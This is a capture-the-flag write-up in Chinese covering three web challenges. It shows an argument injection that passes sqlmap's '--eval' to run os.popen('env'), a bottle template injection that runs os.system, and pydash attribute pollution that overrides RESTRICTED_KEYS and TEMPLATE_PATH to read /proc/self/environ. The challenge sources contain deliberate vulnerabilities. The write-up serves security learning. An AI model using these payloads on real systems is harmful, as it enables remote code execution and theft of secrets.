sqlmap-master

题目

 1from fastapi import FastAPI, Request
 2from fastapi.responses import FileResponse, StreamingResponse
 3import subprocess
 4
 5app = FastAPI()
 6
 7@app.get("/")
 8async def index():
 9    return FileResponse("index.html")
10
11@app.post("/run")
12async def run(request: Request):
13    data = await request.json()
14    url = data.get("url")
15    
16    if not url:
17        return {"error": "URL is required"}
18    
19    command = f'sqlmap -u {url} --batch --flush-session'
20
21    def generate():
22        process = subprocess.Popen(
23            command.split(),
24            stdout=subprocess.PIPE,
25            stderr=subprocess.STDOUT,
26            shell=False
27        )
28        
29        while True:
30            output = process.stdout.readline()
31            if output == '' and process.poll() is not None:
32                break
33            if output:
34                yield output
35    
36    return StreamingResponse(generate(), media_type="text/plain")

其实就是一个网页端的sqlmap

看一下sqlmap的使用文档

image-20250324140513517

可以通过–eval执行python代码,而且有回显

payload

127.0.0.1 --eval=print(__import__("os").popen("env").read())

ez_dash

题目

 1'''
 2Hints: Flag在环境变量中
 3'''
 4
 5
 6from typing import Optional
 7
 8
 9import pydash
10import bottle
11
12
13
14__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
15               '__code__', '__defaults__', '__delattr__', '__dict__',
16               '__dir__', '__doc__', '__eq__', '__format__',
17               '__ge__', '__get__', '__getattribute__',
18               '__gt__', '__hash__', '__init__', '__init_subclass__',
19               '__kwdefaults__', '__le__', '__lt__', '__module__',
20               '__name__', '__ne__', '__new__', '__qualname__',
21               '__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
22               '__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
23               "Optional","func","render",
24               ]
25__forbidden_name__=[
26    "bottle"
27]
28__forbidden_name__.extend(dir(globals()["__builtins__"]))
29
30def setval(name:str, path:str, value:str)-> Optional[bool]:
31    if name.find("__")>=0: return False
32    for word in __forbidden_name__:
33        if name==word:
34            return False
35    for word in __forbidden_path__:
36        if path.find(word)>=0: return False
37    obj=globals()[name]
38    try:
39        pydash.set_(obj,path,value)
40    except:
41        return False
42    return True
43
44@bottle.post('/setValue')
45def set_value():
46    name = bottle.request.query.get('name')
47    path=bottle.request.json.get('path')
48    if not isinstance(path,str):
49        return "no"
50    if len(name)>6 or len(path)>32:
51        return "no"
52    value=bottle.request.json.get('value')
53    return "yes" if setval(name, path, value) else "no"
54
55@bottle.get('/render')
56def render_template():
57    path=bottle.request.query.get('path')
58    if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
59        return "Hacker"
60    return bottle.template(path)
61bottle.run(host='0.0.0.0', port=8000)

非预期

bottle的ssti不一定需要{}

payload

<h>
 %import os;os.system('whoami')
 %end
</h>

ez_dash_revenge

题目

 1'''
 2Hints: Flag在环境变量中
 3'''
 4
 5
 6from typing import Optional
 7
 8
 9import pydash
10import bottle
11
12
13
14__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
15               '__code__', '__defaults__', '__delattr__', '__dict__',
16               '__dir__', '__doc__', '__eq__', '__format__',
17               '__ge__', '__get__', '__getattribute__',
18               '__gt__', '__hash__', '__init__', '__init_subclass__',
19               '__kwdefaults__', '__le__', '__lt__', '__module__',
20               '__name__', '__ne__', '__new__', '__qualname__',
21               '__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
22               '__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
23               "Optional","render"
24               ]
25__forbidden_name__=[
26    "bottle"
27]
28__forbidden_name__.extend(dir(globals()["__builtins__"]))
29
30def setval(name:str, path:str, value:str)-> Optional[bool]:
31    if name.find("__")>=0: return False
32    for word in __forbidden_name__:
33        if name==word:
34            return False
35    for word in __forbidden_path__:
36        if path.find(word)>=0: return False
37    obj=globals()[name]
38    try:
39        pydash.set_(obj,path,value)
40    except:
41        return False
42    return True
43
44@bottle.post('/setValue')
45def set_value():
46    name = bottle.request.query.get('name')
47    path=bottle.request.json.get('path')
48    if not isinstance(path,str):
49        return "no"
50    if len(name)>6 or len(path)>32:
51        return "no"
52    value=bottle.request.json.get('value')
53    return "yes" if setval(name, path, value) else "no"
54
55@bottle.get('/render')
56def render_template():
57    path=bottle.request.query.get('path')
58    if len(path)>10:
59        return "hacker"
60    blacklist=["{","}",".","%","<",">","_"] 
61    for c in path:
62        if c in blacklist:
63            return "hacker"
64    return bottle.template(path)
65bottle.run(host='0.0.0.0', port=8000)

rev修复了非预期

那就是打pydash污染

首先想着先把__forbidden_name__污染掉

?name=setval

{
"path":"__globals__.__forbidden_name__",
"value":""
}

image-20250324143227253

发现no

本地调试一下

可以看到在高版本的pydash中会对path进行检查

image-20250324143423017

如果path中存在__globals__,__builtins__则会返回异常

image-20250324144551684

我们需要先把RESTRICTED_KEYS给污染掉

image-20250324144918932

?name=pydash

{
"path":"helpers.RESTRICTED_KEYS",
"value":""
}

image-20250324145230172

现在就可以污染__forbidden_name__了

image-20250324150300621

污染掉__forbidden_name__之后,我们可以通过对bottle的模板路径进行污染从而实现在render路由进行任意文件读取,因为这题的flag在环境变量中,所以我们直接将TEMPLATE_PATH污染为**/proc/self**

image-20250324150547182

?name=bottle

{
"path":"TEMPLATE_PATH",
"value":["/proc/self/"]
}

接着在/render读环境变量

?path=environ

拿到flag